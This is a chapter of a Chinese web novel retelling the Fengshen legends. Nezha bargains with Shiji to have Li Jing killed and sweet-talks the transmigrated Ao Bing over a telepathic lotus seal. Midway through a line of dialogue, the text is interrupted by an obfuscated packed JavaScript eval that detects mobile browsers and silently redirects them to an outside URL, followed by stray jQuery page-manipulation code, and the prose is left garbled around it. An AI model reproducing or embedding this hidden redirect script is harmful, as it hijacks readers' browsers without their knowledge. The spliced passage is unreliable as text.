骷髅山,白骨洞。
巍峨峻岭间有飘雾缭绕,一素衣童子疾步进了洞府,对宽椅上支额假寐的黑裳女人道:“娘娘,洞外有个小子来见。”
石矶掀了掀眼皮,“谁?”
“说是叫哪吒,师父是乾元山金光洞的太乙真人。”彩云童子一板一眼回道。
太乙的徒弟,大老远跑到她骷髅山作甚?
石矶坐直身来,道:“让他进来罢。”
彩云童子得令去唤,不消多时便领着一俊丽少年进洞。石矶眉尾一挑,慢悠悠问:“你就是哪吒?”
哪吒淡淡颔首,又听石矶道:“本座依稀记得,陈塘关总兵李靖的三子也叫哪吒,你可是李靖的儿子?”
哪吒轻呵一声,没有回答。他到此处不是同石矶叙旧交好的,于是翻掌化出一块顽石,道:“你可认得此物?”
好一个毛头小子,不知轻重不请自来,竟还对她颐气指使。石矶冷嗤一声,本欲发难,却在视线落在那块石头上愣住,一时发不出声。
只刹那她便反应过来,下意识拍椅而起飞身去夺。哪吒早有预料,轻飘飘地躲过她的招式,转眼就站在了洞口处。
“我今日来,是要与你做个交易。”哪吒对上她恨不得眸如喷火的眼睛,脸上露出一丝桀骜,“若你非要动手,谁生谁死可说不准。”
这红衣少年在石矶眼里不过是根脆生生的嫩笋,除了身上有几件太乙的宝贝不足为惧,然见了他方才的从容躲闪,石矶反倒心生忌惮。
她是打定了主意去夺那石头,是故没存试探的心思,只盼一举必得,连太乙来此都不一定能衣袍不动地闪开。
但哪吒眉眼不惊,让得那么轻易。
此子绝非常人。
石矶暗暗隐去杀招,眸光紧锁在少年指间随意把玩的石头上,半晌道:“你要和本座谈什么?”
“你修炼多年,却始终难修正果,才会屈居这荒无人烟的骷髅山,对否?”
石矶一瞬不眨地看着哪吒闪影便坐上了她的宝座,仿佛他才是这座山头的主人。
彩云童子和碧云童子皆露惊惧之色,上前要将人拦下来,石矶却阴沉着脸命他们退下。
她看着哪吒道:“你到底是什么人?”
石矶的来历在前世太乙真人和哪吒提过。石矶乃顽石成精,是为截教子弟,虽修道千年不成果,但实有道行。哪吒浑不在意地将手中的石头抛起又接住,“早已自报家门,娘娘何必再问。”
石矶冷笑:“你莫不是戏耍本座,特地来我这白骨洞耍威风的?”
哪吒眉尾轻扬,又问了一次,“我手中之物你不认得?”
石矶狭了狭眸,不语。她修行千年什么没见过,却看不出哪吒手里那块石头的来历,偏偏那石头内有磅礴精纯之灵力,若她得之,修行必然突破,否则她又怎会容忍一个小子在她洞中撒野。
哪吒说:“此乃女娲石。”
女娲石!他怎么会有女娲石?
传言祝融共工撞倒不周山后捅破了天,一时生灵涂炭民不聊生,女娲娘娘为救苍生,炼出三万六千五百零一块石头补上天窟,却余有一枚未用……
“黄口小儿!”石矶想也不想便曲掌而上,法力凝集直打哪吒而去,“你敢耍老娘!”
哪吒又是闪身躲了,语调平稳道:“我千里迢迢来,你为何不信?”
“女娲石乃天上地下绝无仅有,怎的就这般巧落到你手里?”石矶出招凌厉飞速,嗓音尖利道,“有本事就和本座一战高下!”
“那你又可知我乃灵珠子转世,”哪吒信手挡去她一招,淡淡道,“这女娲石与我一同降世,有何稀奇。”
石矶眼神微变,杀招停顿一瞬,就见哪吒将石头收了起来。
“无论如何,这石头能助你精进修行,而我要以此同你做的交易是——”
“杀了李靖。”
……
“你要执迷不悟,从此刻起便只能待在寝殿,哪也不许去!”
沈何蜷在贝壳床一角,脑海中不断回想起昨日敖光和秋汝生说的话。
哪吒杀劫的开端,是敖丙,是现在的他。
可哪吒和他相处的时候明明并无杀意,而且是真心把他当朋友看待,那般温柔亲昵,怎么会杀他呢?
沈何不禁蹙眉,眼下敖光将他禁足,倘若哪吒回来到东海寻他,又该如何?
“三殿下,该用膳了。”
虾兵正要把膳食放到水晶案上,就听鲛纱帐内传来一声“我不吃,端走吧。”
三殿下嗓音有些沙哑,恐怕是还在生龙王禁足他的气,从昨日到现在滴水未进。虾兵无奈叹气,却还是把食盒留下,以防三殿下饿得不行了没饭吃。
帐内,沈何仍缩成一团思索着法子。他倒不是想靠自虐博同情好让敖光放他出去,而是想不到办法实在没胃口。
退一万步来说,敖光不许他上岸和哪吒交朋友姑且算小事,要是哪吒几次三番找不到他发怒把东海拆了……
太糟糕了。
他思虑过盛,没注意到“哪吒”二字在他心中反复惦记咀嚼,眉间红莲像感受到召唤般已现出淡淡印记。
按秋汝生所说,他算出敖丙有此一劫,又受过敖光的恩惠,才特地到东海只为护敖丙周全。而沈何所知的剧情中,敖丙又是因哪吒浣洗乾坤圈混天绫到外探查才被抽了筋。
那他已经阻止了哪吒在九湾河洗宝物,避免了龙宫震荡,哪吒便没理由杀他了。
……难道他非要死在哪吒手中应验杀劫才算数么?
“小乖。”
哪吒的声音措不及防出现在脑海中,沈何陡然一惊,惶惶坐起身才意识到是眉间红莲起了作用,下意识道:“怎、怎么会?”
哪吒似有疑惑,“什么?”
“……我没有催动法印,”沈何轻声回道,“不知怎的连到了你那边。”
哪吒笑了笑,“许是你在心里惦记我,被法印错听了。”
虽然哪吒看不见,但沈何还是闹了个红脸,不由抱住雪丝被把脸埋在膝上,转而问:“你已办完事情了么?”
哪吒道:“嗯,在回去的路上了。”
这么快。沈何无意识咬住唇瓣,看敖光和秋汝生的架势短时间不会允他出龙宫,只能犹豫开口道,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496198|170201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪吒。”
哪吒又“嗯”了一声作为回应。
“我…这两日有些不舒服,”沈何斟酌着说,“可能你回来我没办法到岸上见你了。”
那边的人顿了顿,半晌才道:“生病了么,哪里不舒服?”
“头晕,想吐。”沈何愧疚地垂下眼帘,他不想欺骗哪吒,可也不想忤逆同样待他很好的敖光,这是他能想到最为折中的办法了,“在海里休养几天就好了,没有大事。”
如果他当真身体有恙,法印会有所感应。
远在千里外的哪吒面色微沉,眸光在日头下竟也映出几分晦暗,像是泼了散不尽的墨。
他只离开了一天有余,小乖为什么突然对他说谎。
少年不动声色道:“没关系,身体不舒服就要好好休息。”
法印连接另一头的人似乎无声松了口气。
哪吒凤眸轻狭,嘴角挑起一丝笑,眼中却不见分毫笑意,像一条满腹毒液随时准备进攻的蛇,嗓音状似温柔道:“不过,你虽不能到岸上见我,但我可以入海寻你。”
对方轻软的声音微惊,“哪吒,这不用吧,待我病好会去……”
“我们是最要好的朋友,不是吗?”哪吒笑意盈盈,“小乖,我只有你这一个朋友。得知你卧病在床,我自是会担心得辗转反侧,夜不能寐。”
沈何想要反驳阻拦的话无力弱了下去。
哪吒把他看得那么重要吗?
“若不让我见到安好的你,我又怎么安心做事呢。”
哪吒仿佛感受到他的牵强纠结,缓缓叹了口气,使出了杀手锏,“朋友之间,不是要互相关心照应吗?”
沈何被一击即中,彻底没了话术,干巴巴道:“但我父王不喜外人到龙宫里来。”
“是我登门拜访,自然由我想法子,你不必操心。”
此时虽还未到太乙赠他风火轮的时间,但哪吒有术法加持,脚程极快,和沈何一来一回说话间已临近陈塘关了。
他安抚般对沈何说:“你只需等着我。”
真的可以吗……沈何被他说得很心动,可又怕两人届时打起来,“可若你与父王因此生了龃龉,不慎伤了谁,我……”
哪吒神情微动,依沈何的性子,不会突兀地、毫无理由地对他避而不见。
就算沈何身世成谜,又有很大可能知道许多前世往事,可哪吒既没伤他也没害他,显然沈何早对他放下戒心了。
倏地这般,恐怕是有人不想让小乖见他。
“我答应你,不会同龙王动手。”哪吒微微摩挲着掌心栩栩如生的红莲,似乎越过莲朵抚上了谁的面颊,“你只管乖乖养病,好好歇息。”
单看沈何犹疑不定的态度,不消多想他便猜到其中阻挠之人是谁。
敖光不让他和小乖接触,莫不是有所察觉什么……
哪吒无声无息地回到陈塘关帅府家中,取了焚香沐浴。
红莲法印的相连还未断开,他沉入热水中,嗓音也如同蒸出了暖烟,有几分缥缈,又有几分暧昧。
“小乖想好如何唤我了么?”
给他独属的昵称。